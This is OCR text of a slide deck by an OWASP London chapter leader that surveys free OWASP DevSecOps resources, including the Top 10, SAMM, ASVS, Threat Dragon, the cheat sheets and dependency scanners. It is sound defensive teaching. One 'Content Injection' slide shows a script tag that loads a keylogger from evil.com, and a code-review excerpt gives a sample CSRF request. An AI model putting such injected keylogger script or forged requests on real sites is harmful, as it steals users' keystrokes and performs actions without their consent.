DevSecOps:
The OWASP Way

Free and Open-Source Resources To Help On Your
Journey

Sam Stepanyan (@securestep9)
OWASP London Chapter Leader
OWASP Global Board Member




$ whoami

Application Security Consultant &
Architect

In Financial Services, City of London
Software Development Background
In Application Security space since
2006

OWASP London Chapter Leader since
2015

OWASP London Chapter volunteer
since 2008

Follow me on Twitter @securestep9 =>

Sam Stepanyan

@securestep9

@OWASPLondon Chapter Leader (#OWASP #0OWASPLondon). Application Security
(#AppSec) Consultant. WAF specialist. OWASP Nettacker Project co-leader.

#CISSP

© London, UK & medium.com/@securestep9 Joined September 2013

owasp.org

(@securestep9




Open Web Application Security Project

The OWASP® is a nonprofit foundation that works
to improve the security of software through its
community-led open source software projects,
hundreds of chapters worldwide, tens of
thousands of community members, and by
hosting local and global conferences.

Open Source Tools,
Guidelines, Standards,
Frameworks, Books

Global Application
Security Conferences:
USA, Europe, Asia

Community -
Chapters Worldwide
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OWASP® Foundation World Wide

Countries Groups Community
68 245 101,000+
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e Belfast OWASP in the UK

e Birmingham
e Bristol

e Cambridge

e Dorset

o Leeds Q
e London

e Manchester

e Newcastle

e Peterborough
e Reading

e Suffolk

e Warwick
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OWASP London
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&, 1,511 members - Public group
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Meetups

Content Injection

/head>

it src=“evil.com/keylogger.js”></script>
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Capture The Flag (CTF) Tournaments

@owasplondon e @

? Katy Anton @KatyAnton 29/11/2016
. Awesome #hackaton session at @OWASPLondon. Really enjoyed

the @codebashing code.

Chris Highfield @cmhtw33t 28/11/2016
Continuing the @OWASPLondon hackathon on the train journey
home.

Awesome session with @OWASPLondon and @codebashing thi
evening - I'm coming back for a drone tomorrow :-)

e )
% Rich Fairhurst @richfairhurst 28/11/2016

¥4

\ KerberosMansour @Kerberosmansour 28/11/201
o] @OWASPLondon hackathon has started many thanks to

@thoughtworks for hosting us!
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OWASP Top 10 - 2017

The Ten Most Critical Web Application Security Risks

@creative
This work is licensed under a commons
https://owasp.org Creative Commons Attribution-ShareAlike 4.0 International License

OWASP® Top 10

Awareness document for developers and web application
security practitioners

A broad consensus about the most critical security risks to web
applications

The 1st step towards changing the application development
culture within your organization into one that produces more
secure code

A Whitepaper Not a “Standard”! (However OWASP ASVS is)

2017 2021

A01:2017-Injection A01:2021-Broken Access Control

A02:2017-Broken Authentication A02:2021-Cryptographic Failures
A03:2017-Sensitive Data Exposure > A03:2021-Injection

A04:2017-XML External Entities (XXE) < (New) A04:2021-Insecure Design

A05:2017-Broken Access Control A05:2021-Security Misconfiguration
A06:2017-Security Misconfiguration A06:2021-Vulnerable and Outdated Components
A07:2017-Cross-Site Scripting (XSS) =\ A07:2021-ldentification and Authentication Failures
A08:2017-Insecure Deserialization / {New) A08:2021-Software and Data Integrity Failures

A09:2017-Using Components with Known Vulnerabilities /AO9:2021-Security Logging and Monitoring Failures*
A10:2017-Insufficient Logging & Monitoring (New) A10:2021-Server-Side Request Forgery (SSRF)*
* From the Survey
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OWASP Project Inventory: 250+

Flagship Projects O j| =
« OWASP AntiSamy

OWASP Amass (et
OWASP Application Security Verification Standard « OWASP Automated Threats to Web Applications
OWASP Cheat Sheet Series e senemas
OWASP CSRFGuard
OWASP CycloneDX
OWASP Defectdojo .
OWASP Dependency-Check https://owasp.org/projects
OWASP Dependency-Track
OWASP Juice Shop Open Source & FREE

OWASP Mobile Security Testing Guid
OWASP ModSecurity Core Rule Set
OWASP OWTF

OWASP SAMM TS
. pytm
OWASP Security Knowledge Framework + OWASP SamuraiWTF
OWASP Security Shepherd MRS Sang Eom
o OWASP secureCodeBox
OWASP T°p Ten o OWASP SecureTea Project
OWASP Web Security Testing Guide « OWASP Security Pins
OWASP ZAP  OWASP Snakes And Ladders

» OWASP Software Component Verification Standard

o OWASP Threat Dragon

Incubator Projects o

OWASP .Net

OWASP aegis4j

OWASP Android Security Inspector Toolkit
OWASP APICheck

OWASP Application Gateway

OWASP Application Security Awareness Campaigns
OWASP Appsec Pipeline

OWASP Barbarus

OWASP Big Data Security Verification Standard
OWASP Bug Logging Tool

OWASP Cloud-Native Security Project

OWASP Code the Flag

OWASP Core Business Application Security
OWASP CSRFProtector Project

OWASP Cyber Controls Matrix (OCCM)
OWASP Cyber Defense Framework

OWASP Cyber Defense Matrix

OWASP Cyber Scavenger Hunt

OWASP D4N155

OWASP Desktop App Security Top 10

OWASP AppSec Days Developer Outreach Program
OWASP Devsecops Maturity Model

OWASP DevSlop

OWASP Docker Top 10

OWASP DPD (DDOS Prevention using DPI)
OWASP GOrKing

OWASP Go Secure Coding Practices Guide
OWASP Honeypot

owasp.org
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OWASP ‘s Dinis Cruz and “SecDevOps”

This book will give you a solution for the following common
problems inside AppSec and Development teams:

e 'How do I get my manager to take security issues in my app
seriously”

e 'How do I get time to spend on non-functional requirements
and refactoring”

e 'We are product-driven development team and don't have
time for anything that is not customer-driven”

e 'We know our current development, testing and deployment
environment is highly inefficient, but how can we prove that to
management”

e 'We constantly do hacks and compromises before deadlines,
but we can't measure its real impact, and how they always
tend to be a false economy”

SIS Sl https://github.com/DinisCruz/Book_SecDevOps_Risk_Workflow/
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DevSecOps is...
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DevSecOps - The Three Layers
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eVSecOps

A leader’s guide to producing secure
software without compromising flow,
feedback and continuous improvement

GLENN WILSON
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The three layers of DevSecOps




Average Cost Of Fixing One Vulnerability

XY &<

l Build I i Test I ;

$80 $240 $960 $7600

Source: Ponemon Institute
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OWASP TOOLS ARE FREE & OPENSOURCE

e Security Automation Tools you can integrate in the CI/CD pipelines
e Tools, Standards & Guidelines to help you to be Secure By Design

e Education and Training Tools & Resources

From security requirements
gathering, threat modeling,
vulnerability scanning, vulnerability
management, security testing, code | =
review to best practices, maturity |
assessments and developer
training

- all with a budget of $0
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A01:2021-Broken Access Control
A02:2021-Cryptographic Failures
A03:2021-Injection

A04:2021-Insecure Design
A05:2021-Security Misconfiguration
A06:2021-Vulnerable and Outdated
Components

A07:2021-Identification and Authentication
Failures

A08:2021-Software and Data Integrity Failures
A09:2021-Security Logging and Monitoring
Failures

A10:2021-Server-Side Request Forgery

owasp.org (@securestep9
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Insecure Desigh vs Implementation @

e Design flaws and implementation defects have
different root causes and remediation

e A secure design can still have implementation
defects leading to vulnerabilities that may be
exploited

e Aninsecure desigh cannot be fixed by a perfect
implementation as by definition, needed security
controls were never created to defend against
specific attacks in the first place
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OWASP Top 10:2021

OWASP/Top10
w41k ¥ 822

A04:2021 — Insecure Design

Table of contents

Factors
Overview
Fa CtOI’S Description
Requirements and Resource
Management
CWEs Max Avg Avg Avg Max Avg Total Total CVEs .
A : Secure Design
Mapped Incidence Incidence Weighted Weighted Coverage Coverage Occurrences
Rate Rate Exploit Impact Secure Development Lifecycle
How to Prevent
40 24.19% 3.00% 6.46 6.78 77.25% 42.51% 262,407 2,691 Example Attack Scenarios
References
List of Mapped CWEs
Overview
A new category for 2021 focuses on risks related to design and architectural flaws, with a call for more use of threat @

modeling, secure design patterns, and reference architectures. As a community we need to move beyond "shift-left" in
the coding space to pre-code activities that are critical for the principles of Secure by Design. Notable Common
Weakness Enumerations (CWEs) include CWE-209: Generation of Error Message Containing Sensitive Information, CWE-

256: Unprotected Storage of Credentials, CWE-501: Trust Boundary Violation, and CWE-522: Insufficiently Protected

Credentials.
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OSAMM ABOUT SAMM - THE MODEL  RESOURCES  GUIDANCE - COMMUNITY -

Software Assurance Maturity Model

SAMM helps organisations
analyse their current
software security practices,
build a security program in

Select a language ~

SAMM model overview

Governance Design Implementation Verification Operations deﬁ ned iterations' Show
Strategy and Metrics Threat Assessment Secure Build Architecture Assessment Incident Management prog reSSive improvements
Policy and Compliance Security Requirements Secure Deployment Requirements-driven Testing Environment Management in secu re praCticeS, and
Education and Guidance Secure Architecture Defect Management Security Testing Operational Management deﬁne and measure

i security-related activities.
Introduction

The mission of OWASP Software Assurance Maturity Model (SAMM) is to be the prime maturity model for software assurance that provides an effective and measurable way for all
types of organizations to analyze and improve their software security posture. OWASP SAMM supports the complete software lifecycle, including development and acquisition, and is
technology and process agnostic. It is intentionally built to be evolutive and risk-driven in nature.

The original model (v1.0) was written by Pravir Chandra and dates back from 2009. Over the last 10 years, it has proven a widely distributed and effective model for improving secure
software practices in different types of organizations throughout the world. Translations and supporting tools have been contributed by the community to facilitate adoption and
alignment. With version 2.0, we further improve the model to deal with some of its current limitations.

After a period of intensive discussions and with input from practitioners and the OWASP community during summits in Europe and the US on the best way forward, we take a new
approach for version 2.0 based on the input we gathered.

For an overview of the version 2 chanaes. read our SAMM version 2 release notes.

owasp.org (@securestep9




ABOUT SAMM ~ THE MODEL RESOURCES GUIDANCE ~ COMMUNITY ~

SECURE ARCHITECTURE

Model | Design | Secure Architecture

The Secure Architecture (SA) practice focuses on the security linked to components and technology you deal with during the architectural design of your software. Secure Architecture
Design looks at the selection and composition of components that form the foundation of your solution, focusing on its security properties. Technology Management looks at the
security of supporting technologies used during development, deployment and operations, such as development stacks and tooling, deployment tooling, and operating systems and

tooling.

Maturity Stream A Stream B

level Architecture Design Technology Management

1 Insert consideration of proactive security guidance Teams are trained on the use of basic security principles  Elicit technologies, frameworks and integrations
into the software design process. during design. within the overall solution to identify risk.

2 Direct the software design process toward known Establish common design patterns and security Standardize technologies and frameworks to be
secure services and secure-by-default designs. solutions for adoption. used throughout the different applications.

3 Formally control the software design process and Reference architectures are utilized and continuously Impose the use of standard technologies on all
validate utilization of secure components. evaluated for adoption and appropriateness. software development.

owasp.org (@securestep9




OWASP DevSecOps Maturity Model
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= Security OWASP Security RAT
PAT —

OWASP Security RAT (Requirement Automation Tool) is a tool helping you manage security requirements in your
agile development projects. The typical use case is:

» specify parameters of the software artifact you're developing

» based on this information, list of common security requirements is generated

» go through the list of the requirements and choose how you want to handle the requirements

» persist the state in a JIRA ticket (the state gets attached as a YAML file)

» create JIRA tickets for particular requirements in a batch mode in developer queues

» import the main JIRA ticket into the tool anytime in order to see progress of the particular tickets

owasp.org (@securestep9
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OWASP User Security Stories

Search or jump to...

& github.com/OWASP/user-security-stories

FH OWASP / user-security-stories ' Public

{> Code

¥ master ~

® Issues 2

i1 Pullrequests 1 (C

¥ 1branch © 0tags

‘ DinisCruz Merge pull request #3 from ejohn20/mast

(P R O R P

LICENSE
README.md
security-acceptance-criteri...

user-security-stories.md

Initial commit
Added links to storie
Fixed word quotes.

Fixed word quotes.

User Story

As a Software company
Customer, my data must be
protected from unintentional
disclosure to other customers or
external parties.

As a Software company
Customer, | need the application
to allow passphrases and/or
difficult passwords.

As a Software company
Customer, | need all connections
to an application that contains

my user data to be authenticated.

As a Software company
Customer, | need password entry
and other fields containing
sensitive information to disallow
caching or auto-complete.

As a Software company
Customer, | need the ability to
securely change or reset my
password without worrying that

my account(s) can be hijacked by

Acceptance Criteria

Data is segregated by tenant. Administrators and users must be separated by role to prevent
unauthorized disclosure or modification. Personally Identifiable Information (Software company
RESTRICTED data) must be encrypted-at-rest and must be encrypted in transit over public
networks.

Verify password entry fields allow, or encourage, the use of passphrases, long passphrases or
highly complex passwords. Verify that measures are in place to block the use of commonly chosen
passwords and weak passphrases.

Verify that all connections to applications that contain customer information or functions are
authenticated.

Verify password and other data entry fields containing RESTRICTED information do not cache or
allow auto-complete. An exception may be made for password managers.

Verify all account identity authentication functions (such as update profile, forgot password,
disabled / lost token, help desk or IVR) that might regain access to the account are at least as
resistant to attack as the primary authentication mechanism. At a minimum, verify that the
changing password functionality includes the old password, the new password, and a password
confirmation. Verify that the forgotten password function and other recovery mechanisms do not
reveal the current password and that the new password is not sent in clear text to the user. Verify

owasp.org
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OWASP Abuse Case Cheatsheet

aka “Attacker Stories”

As an attacker, | will perform an injection attack (SQL, LDAP, XPath, or NoSQL queries, OS commands, XML
parsers, SMTP headers, expression languages, and ORM queries) against input fields of the User or API
interfaces

As an attacker, | have access to hundreds of millions of valid username and password combinations to
perform credential stuffing.

As an attacker, | have default administrative account lists, automated brute force, and dictionary attack
tools | use against login areas of the application and support systems.

As an attacker, | manipulate session tokens using expired and fake tokens to gain access.

As an attacker, | steal keys that were exposed in the application to get unauthorized access to the
application or system.

As an attacker, | leverage metadata manipulation, such as replaying or tampering with a JSON Web Token
(JWT) access control token or a cookie or hidden field manipulated to elevate privileges or abusing JWT
invalidation.

owasp.org (@securestep9




OWASP Threat Dragon

C & threatdragon.com/#/local/Example%20threat%20model/edit/Example a fd « ¢ @@ »= 009 :

Threat Dragon v2.0.0-demo - LoggedinasGuest & @ =2 @

© entities Example B 9 C @ @ @ xCose QSwve

1 Trust Boundary 3

Properties Threats

Name | \Web server Description | The server providing the single-page web

application # Insufficient logging # Log files are accessible # Denial of Service using high rate of
Z Z Repudiation Information disclosure requests
A® |STRIDE. ve |STRIDE. Denial of service
Out of Scope
Reason for out of scope v STRIDE.

Privilege Level

OWASP Threat Dragon is a free, open-source, cross-platform threat modeling tool including
system diagramming and a rule engine to auto-generate threats/mitigations.
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OWASP Threat Modeling Playbook

Threat Modeling Playbook

Get TM
stakeholders

buy-in

*Involve people

and allocate
time

*Inject TM
expertise

* Show threat

modeling ROI

Embed TM

in your

organization

* Establish
context

* Assess and
treat risk

* Monitor and
review

* Communicate

Train your

people to
™

* |dentify
stakeholders
*Create TM
specialist role
* Train your
people
*Create a
positive TM
culture

Strengthen
your TM

processes

» Understand current
process

* Introduce application
risk levels

*+Choosea TM
methodology

» Perform and persist
the TM

* Integrate with risk
framework

* Follow up TM action
items

* Optimize methodology
and risk calculation

Innovate
with TM

technoloqgy

* Select the right
tools

*Process the
tools outcome

*Integrate in
your TM
methodology

owasp.org
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OWASP Cheatsheets
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CHEAT SHEET
SERIES PROJECT

Life is too short - AppSec is tough - Cheat!

94 CheatSheets Published as of Dec 2024

@ OWASP Cheat Sheet Series

OWASP Cheat Sheet Series
Introduction
Index Alphabetical
Index ASVS
Index MASVS
Index Proactive Controls
Index Top 10
Cheatsheets v
AJAX Security
Abuse Case
Access Control
Attack Surface Analysis
Authentication
Authorization

Authorization Testing
Automation

Bean Validation
C-Based Toolchain Hardening

Choosing and Using Security
Questions

Clickjacking Defense
Content Security Policy
Credential Stuffing Prevention

Cross-Site Request Forgery
Prevention

Cross Site Scripting Prevention
Cryptographic Storage

DOM based XSS Prevention
Database Security

Denial of Service

Deserialization

Authentication Cheat Sheet /

Introduction

Authentication is the process of verifying that an individual, entity or website is whom it claims to
be. Authentication in the context of web applications is commonly performed by submitting a
username or ID and one or more items of private information that only a given user should know.

Session Management is a process by which a server maintains the state of an entity interacting
with it. This is required for a server to remember how to react to subsequent requests throughout
a transaction. Sessions are maintained on the server by a session identifier which can be passed
back and forth between the client and server when transmitting and receiving requests. Sessions
should be unique per user and computationally very difficult to predict. The Session Management
Cheat Sheet contains further guidance on the best practices in this area.

Authentication General Guidelines
User IDs

Make sure your usernames/user IDs are case-insensitive. User 'smith’ and user 'Smith’ should be
the same user. Usernames should also be unique. For high-security applications, usernames
could be assigned and secret instead of user-defined public data.

Email address as a User ID

For information on validating email addresses, please visit the input validation cheatsheet email
discussion.

Authentication Solution and Sensitive Accounts

« Do NOT allow login with sensitive accounts (i.e. accounts that can be used internally within

Table of contents
Introduction

Authentication General
Guidelines

User IDs
Email address as a User ID

Authentication Solution and
Sensitive Accounts

Implement Proper Password
Strength Controls

For more detailed
information check

Implement Secure Password
Recovery Mechanism

Store Passwords in a Secure
Fashion

Compare Password Hashes
Using Safe Functions

Change Password Feature

Transmit Passwords Only Over
TLS or Other Strong Transport

Require Re-authentication for
Sensitive Features

Consider Strong Transaction
Authentication

TLS Client Authentication

Authentication and Error
Messages

Authentication Responses

Incorrect and correct
response examples

Login
Password recovery

Account creation

owasp.org
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OWASP Secure Designh Ch

) OWASP Cheat Sheet Series

OWASP Cheat Sheet Series

Password Storage
Pinning

Prototype Pollution Prevention
Query Parameterization
REST Assessment

REST Security

Ruby on Rails

SAML Security

SQL Injection Prevention
Secrets Management
Secure Cloud Architecture
Secure Product Design

Securing Cascading Style
Sheets

Server Side Request Forgery
Prevention

Session Management

Software Supply Chain
Security.md

Symfony
TLS Cipher String

Third Party Javascript
Management

Threat Modeling

Transaction Authorization

Secure Product Design Cheat Sheet

Introduction

The purpose of Secure Product Design is to ensure that all products meet or exceed the security
requirements laid down by the organization as part of the development lifecycle and to ensure
that all security decisions made about the product being developed are explicit choices and
result in the correct level of security for the product being developed.

Methodology

As a basic start, establish secure defaults, minimise the attack surface area, and fail securely to
those well-defined and understood defaults.

Secure Product Design comes about through two processes:

1. Product Inception; and

2. Product Design

The first process happens when a product is conceived, or when an existing product is being re-
invented. The latter is continuous, evolutionary, and done in an agile way, close to where the code
is being written.

Security Principles

owasp.org

edatsheet

OWASP/CheatSheetSeries
7.1k ¥ 3.8k

Table of contents
Introduction
Methodology
Security Principles

1. The principle of Least
Privilege and Separation of
Duties

2. The principle of Defense-in-
Depth

3. The principle of Zero Trust

4. The principle of Security-in-
the-Open

Security Focus Areas
1. Context
2. Components
3. Connections
4. Code

5. Configuration

(@securestep9




The ASVSis @
community-driven
effort to establish a
framework of security
requirements and
controls that focus on
defining the functional

and non-functional
security controls
required when
designing, developing
and testing modern
web applications and
web services.

OWASP ASVS

*)owAsp

Application Security Verification Standard 4.0.3
Final
October 2021

@ owasp

Using the ASVS
ASVS has twe mak gosls:

offerings.
Application Security Verification Levels
with euch bevel

Increasng in dusth.
. ASVSLevel1kstor

. ASVSLewel2istor
recommended fevel for most a3ps

* ASVSLevel 3 s for the most oritical agpiications - applications that perform high value trarsactions,
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OWASP MobileASVS (MASVS)

MASVS

Mobile Application Security
Verification Standard

i

MASTG

Mobile Application Security
Testing Guide

J

Sven Schleier Carlos Holguera

Bernhard Mueller Jeroen Willemsen @ OUJRSP

Jeroen Beckers

Sven Schleier Carlos Holguera
@ownsp

Bernhard Mueller Jeroen Willemsen

owasp.org

MASWE

Mobile Application Security
Weakness Enumeration

Sven Schleier
Carlos Holguera

Jeroen Beckers

@securestep9



OWASP
Container Security Verification Standard

7\

Versos 1.0
Oute: Jaby 267, 2019

OWASP CSVS

#)oweasp

V3: Containers

Control Objective

The main component of container-based solutions are the containers themsehves. Not only do they contain
services and application logic but also interact with other systems and containers to exchange data that is
often sensitive and demands accurate protection.

Ensure that a verified container solution satisfies the following high level requirements:
. Ensure that the containers run with the least possible privileges.

*  Harden services inside the container and minimize the attack surface.

. Leverage security features of the container technology in use.

Security Verification Requirements

" Description 1 L2 13 Snce

31  Verify that the root user isn't used within except during initializati v v 10
and privi are dropped i

32  Verify that user namespading is enabled. v v 10

33  Verify that within each container image, 2 new user is created, which is then v 10
used to perform all within thy i

34 Verify that 3 spedfic {non-standard) seccomp-profile is spplied to each v 10

container-based on the needs of the container.

35  Verify that containers cannot be granted any additional privileges during their v v 1.0
runtime (~no-new-privileges flag).

36 Verify that all base images are explicitly specfied, using their hash instead of v 10
name and tag.

3.7  Verify that the signature of each image is verified before productive usage. v 10

38  Verify that only required software packages are installed in images. v v 10

39  Verify that the root file system is mounted in read-only mode. v 10

310 Verify that after a container has been actively accessed [eg., for v 10

traubleshoating), it's deleted and replaced by a new instance (container) of the
image.

311 Verify that Dockerfiles use the COPY directive instead of the ADD directive unless v 1.0
the source is fully trusted.

312 Verify that remote management services such as SSH or RDP are dsabledornot v v 1.0
even installed within containers.

313 Verify that exposed services such as etcd are either only available to fully trusted ¢ ¢ 1.0
systems or require authentication.

3.14 Verify that the number of allowed processes within a container is precisely v 10
defined and limited to this value by using ~pids-limit.

@ownasp

V2: Infrastructure

Control Objective

The underlying infrastructure can be very different for various setups but it's the basis of each and must
therefore pravide the passibility for the upper layers to achieve the demanded level of security.

Ensure that a verified container solution satisfies the following high level requirements:
*  Ensure that the infrastructure provides adequate resources.

. Harden the base infrastructure induding the container platfarm.

Security Verification Requirements

" Description 11 2 13 Since

21 Verify that the overall architecture and design including networking inside and v v v 1.0
outside of the container solution is defined.

22 Verify that the infrastructure, induding all components thereof (nodes, v v 1.0
networks, ) (ideally fully

23 Verify that all of the used are suppor
compatible with each other (OS, Docker Engine, UCP, DTR, ...).

and v v V10

24 Verify that adeguate resources are allocated to all nodes for themtorunstable. v v 10

25 Verify that the resources avadable to containers are limited (ulimit}. v v 10
26  Verify that SELinux or AppArmor is enabled and running on 3l nodes as well as v 10
for dockerd.

2.7  Verify that updates for both the nodes and the Docker Engine runningonthem ¢ o 10
are applied in regular intervals. ideally, applying updates is fully automated.

28  Verify that updates are rolled out using a canary deployment/release strategy, v v 10
which allows rolibacks.

29  Verify that dockerd is configured with Mve restore enabled. Jy v 10

210 Verify that i to the ion of dockerd is i tousersthat , ¢ 10

actually need access to it and are properly logged.

211 Verify that 3l nodes undergo regular automated security scans which cover the Jy v 10
whole operating system and not just container refated elements.

212 Verify that container-spedfic operating systems (e.g. Container Linux, v 10
RancherQS, RedMat Project Atomic, VMware Photon) are used on all nodes
instead of general-purpose ones.

213 Verify that all nodes are hardened based on common best practices. v v v 10

214 Verify that unless otherwise specified, the default Docker configuration values ¢ ¢ 10
are used.

215 Verify that direct access to nodes (e.g. via SSH or RDP) is restricted s muchas v v 10
possible.

owasp.org
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OWASP Proactive Controls

' The Top 10 Proactive Controls
The list is ordered by importance with list item number 1 being the most important:
C1: Define Security Requirements
C2: Leverage Security Frameworks and Libraries
C3: Secure Database Access
C4: Encode and Escape Data
C5: Validate All Inputs
C6: Implement Digital Identity
C7: Enforce Access Controls
C8: Protect Data Everywhere
C9: Implement Security Logging and Monitoring

C10: Handle All Errors and Exceptions

owasp.org (@securestep9




OWASP Code Review Guide

an attacker makes the victim perform actions that they didn't intend to, such as purchase an item. Sample
14.1 shows an example an HTTP POST to a ticket vendor to purchase a number of tickets.

POST http//TicketMeister.com/Buy_tickethtm HTTP/1.1

le process diagram for identifying input paths

Host: ticketmeister

User-Agent: Mozilla/5.0 (Madintosh; U; PPC Mac OS X Mach-O;) Firefox/1.4.1 TRANSITIONAL
Cookie: JSPSESSIONID=34JHURHD894LOP0O4957HRAN3JE383940123K ANALYSIS
ticketid=ATHX1138&to=PO BOX 1198 DUBLIN 28amount=108&date=11042008 INITIATION

The response of the vendor is to acknowledge the purchase of the tickets:

HTTP/1.0 200 OK
Date: Fri, 02 May 2008 10:01:20 GMT
Server: IBM_HTTP_Server

Content-Type: kch 150-8859-1

Content-Language: en-US

X-Cache: MISS from app-proxy-2.proxy.ie IDENTIFY
Connection: close ATTACK

SURFACE
<Xxmi version="1.0"encoding="150-8859-17>
<pge_data> Ticket Purchased, Thank you for your custom.
</pge_data>

What to Review

This issue is simple to detect, but there may be compensating controls around the functionality of the application
which may alert the user to a CSRF attempt. As long as the application accepts a well formed HTTP request and the
request adheres to some business logic of the application CSRF shall work.

By checking the page rendering we need to see if any unique identifiers are appended to the links rendered by the
application in the user's browser. If there is no unique identifier relating to each HTTP request to tie a HTTP request to
the user, we are vulnerable. Session ID is not enough, as the session ID shall be sent automatically if a user dicks on a
rogue link, as the user is already authenticated.

Prevention Measures That Do NOT Work
B les of d CSRF pr techniques which attackers can bypass are listed in table 21, these measures

should not be used in sensitive applications and should fail code review.

IDENTIFY AREAS FOLLOW PATH

OF LATE & DY- EACH PARAME-

NAMIC BINDING TER THROUGH
CODE

IDENTIFY AREAS
OF CONFIG FILE
REFERENCE

Romernbier that 3l cockies, even the ot ones, wil Al

will be submitied regardiess of whither O Nt the end User was ticked MO SUBMITING The requIt Furthar.
MO, eision identifiers are simply wied by the appication Contaings 10 XSOCate the mquest with a spediic
$ssion obiect The session dentifier dows not verly That the end wser intended 10 subemit the regquest.
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OWASP Developer Guide

Developer Guide

Open Worldwide Application Security Project (OWASP)

February 2023 onwards

Developer

OWASP Developer Guide
A Guide to Building Secure Web Applications and Web Services

Release version 4.1.7

1 Introduction

2 Foundations

2.1 Security fundamentals

2.2 Secure development and integration
2.3 Principles of security

2.4 Principles of cryptography

2.5 OWASP Top 10

3 Requirements

3.1 Requirements in practice
3.2 Risk profile

3.3 OpenCRE

3.4 SecurityRAT

3.5 ASVS requirements

3.6 MAS requirements

3.7 SKF requirements

4 Design

4.1 Threat modeling

4.1.1 Threat modeling in practice

4.1.2 pytm

4.1.3 Threat Dragon

4.1.4 Cornucopia

4.1.5 LINDDUN GO

4.1.6 Threat Modeling toolkit

4.2 Web application checklist

4.2.1 Checklist: Define Security Requirements
4.2.2 Checklist: Leverage Security Frameworks and Libraries
4.2.3 Checklist: Secure Database Access
4.2.4 Checklist: Encode and Escape Data
4.2.5 Checklist: Validate All Inputs

owasp.org
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OWASP CycloneDX

"CycloneDX GETTING STARTED SPECIFICATION ABOUT ¥y O M © @

Specification Overview

The CycloneDX object model:

is defined in JSON Schema, XML Schema, and Protocol Buffers FOMNo addla nformcton

; . : i s i Components Information
consists of metadata, components, services, dependencies, compositions, and vulnerabilities. P

. . . Services Information
is prescriptive and simple to use

D d Relationshi
is designed for SBOM, SaaSBOM, OBOM, MBOM, and VEX use cases i ik o

) ) ) ) Compositions
can easily describe complex relationships

: . i is Vulnerabilities
is extensible to support specialized and future use cases

Extensions
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OWASP Dependency Check

& (@ file:///home/tharindu/dependencies/reports/dependency-check-report.html ¢ | Q apache httpcl

OWASP dependency-check is an
open source Software Composition
Analysis (SCA) tool that identifies

project dependencies and checks if
Project: myproject <—_ project Name there are any known, publicly

Scan Information (show all):

o dependency-check version:1.4.3 ) ) dISCIosed VUInerabllltles.
. Reponaeneratedo,nocts,zmsaxoy:;ﬂa_[_sl_________.__ Number of 3rd party libraries scanned

* Dependencies Scanned: 2 (2 unique)

* Vuinerable Dependencies: 1 \
» WilaambMiesroring 2 Number of 3rd party libraries with known vulnerabilities

o Vulnerabilities Suppressed: 0

It does this by determining if there is
Display: Showing Vulnerable Dependencies (click to show all) Total number of known vulnerabilities identified CI Com mon qutform E n u merqtion
Dependency CPE GAV Highest Severity CVE Count CPE Confidence Evidence Count (C P E) i d e n t i f i e r fo r q g ive n
commons-httpclient-3.1.jar Eg:z:E:z:z::;;c:tr:cr:}l:rnz:npchent&‘l commons-httpclient:commons-httpclient:3.1  Medium 3 Low 20 d e pe n d e n Cy. If fo u n d’ it Wi I I
Dependencies generate a report linking to the
. associated CVE (vulnerability)

o
Description: The HttpClient component supports the client-side of RFC 1945 (HTTP/1.0) and RFC 2616 (HTTP/1.1), several related specifications (RFC 2109 (Cookies), RFC 2617 (HTTP Authentication), et e n t r I es .
easily.

License:
Apache License: http://www.apache.org/licenses/LICENSE-2.0

File Path: /home/tharindu/dependencies/mydep
MD5: 8ad8c9229ef2d59ab3f59f7050e846a5
SHA1: 964cd74171f427720480efdec40a7c7f6e58426a

dencies/c s-httpclient-3.1 jar

Evidence
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L— xstream@l.4.10 4=CVE-2021-21346

@ Used in 2 locations
B Vendor Confirmed

MEDIUM

L— xstream@l.4.10 4=CVE-2022-40151

@ Used in 2 locations

i: tomcat-embed-core@8.5.85 4=BIT-2023-41080

@ Used in locations
B Reachable

MEDIUM

mysqgl-connector-java@8.0.12 <=CVE-2018-3258

B vendor Confirmed

I: spring—core@4.3.6.RELEASE «=CVE-2018-1270

@ Used in 6 locations
B Vendor Confirmed

Reachable and Explc

t: dom4j@l.6.1 4=CVE-2020-10683

@ Used in 3 locations
B vendor Confirmed

L xstream@l.4.10 <4=CVE-2021-21343

@ Used in 2 locations
B vendor Confirmed

MEDIUM

|: spring-security-core@4.2.1.RELEASE ¢=CVE-2017-4995

@ Used in locations

.3.RELEASE

L xstream@l.4.10 ¢=CVE-2021-21342

@ Used in 2 locations
B Vendor Confirmed

MEDIUM

L— xstream@l.4.10 <=CVE-2021-21345

@ Used in 2 locations
B Vendor Confirmed

MEDIUM

log4j-core@2.9.1 4=CVE-2021-44832

B Vendor Confirmed

MEDIUM

L— xstream@l.4.10 <=CVE-2021-39149

@ Used in 2 locations
B vendor Confirmed

HIGH

': snakeyaml@l.21 4=CVE-2022-38749

@ Used in 2 locations
B Vendor Confirmed

MEDIUM

t: snakeyaml@l.21 4=CVE-2022-38750

@ Used in 2 locations
B Vendor Confirmed

MEDIUM

t snakeyaml@l.21 4=CVE-2022-38751

@ Used in locations
B Vvendor Confirmed

MEDIUM

okhttp@2.5.0 4=CVE-2023-0833

Used in locations
irmed

owasp.org

MEDIUM

N
*4

DEPSCAN

https://github.com/owasp-dep-scan/

Features

Scan local repos, Linux container
images, Kubernetes manifest - identify
known CVEs with prioritization
Perform advanced reachability
analysis for multiple languages

Fast local scans

Generate Software Bill-of-Materials
(SBOM) with Vulnerability Disclosure
Report (VDR) and Common Security
Advisory Framework (CSAF) 2.0 VEX
document

U)@securestep9



OWASP DependencyTrack

Vulnerability Detection

Identify known vulnerabilities in third-party and open
source components from multiple sources of
vulnerability intelligence

Software Bill of Materials (SBOM)

Consume, analyze, and produce CycloneDX Software
Bill of Materials (SBOM), an open source industry
standard.

Full-Stack Inventory

Track usage of libraries, frameworks, applications,
containers, operating systems, firmware, hardware, and
services

Policy Evaluation

Measure and enforce security, operational, and license
policy compliance for individual projects or the entire
portfolio

owasp.org U)@securestep9




OWASP CRS (WAF)

OWASP

ModSecurity
Core Rule Set

THE 1°" LINE OF DEFENSE

' CRSB

OWRASP ModSecuri tg Core Rule Set v3.0

The OWASP® ModSecurity Core Rule Set (CRS) is a set of
generic attack detection rules for use with ModSecurity or

compatible web application firewalls. The CRS aims to protect
web applications from a wide range of attacks, including the
OWASP Top Ten, with a minimum of false alerts.

A Trustwave: COMING SOON TO A SERVER NEAR YOU!

#)owasp
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OWASP API Security Top 10

OWASP API Security Top 10 2019
The Ten Most Critical API Security Risks

OWASP API Security Top 10 Vulnerabilities 2019

AP11:2019 — Broken object level authorization
API2:2019 — Broken authentication

API3:2019 — Excessive data exposure

API4:2019 — Lack of resources and rate limiting
AP15:2019 — Broken function level authorization
API6:2019 — Mass assignment

